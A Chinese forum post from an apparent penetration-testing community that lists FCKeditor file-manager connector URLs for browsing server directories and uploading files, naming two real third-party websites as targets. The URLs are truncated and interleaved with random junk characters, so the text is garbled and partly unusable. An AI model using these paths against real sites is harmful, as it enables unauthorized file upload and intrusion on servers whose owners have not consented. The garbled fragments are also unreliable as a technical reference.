中国网络渗透测试联盟

标题: fckeditor漏洞 [打印本页]

---

作者: admin    时间: 2012-9-13 17:02
标题: fckeditor漏洞

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
  v/ q- Y% o# a/ }* N+ y% `/ Qhttp://www.china-photo-model.com ... aspx/connector.aspx


http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector
) x7 G& f5 `. h$ O) Y
; p! ]; v. I7 y7 a2 c7 g3 w

, ?  [, V$ o+ k# B! G4 U, D. u  I; T

查看配置和列出目录下的文件.
" y+ d& y! \$ ~' g1 z& m4 E: z5 Q
/ R$ n0 I0 X$ v. s; Q# ]
6 D4 }- v+ t+ u; k' Lhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
' a$ W! h0 ^3 G6 yhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
# u0 ?% q0 _. ^4 }% m3 {' ], P
上传地址:
" f& d' Q9 W: l/ y0 l& e6 V
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
# J+ [6 g, g% R7 phttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2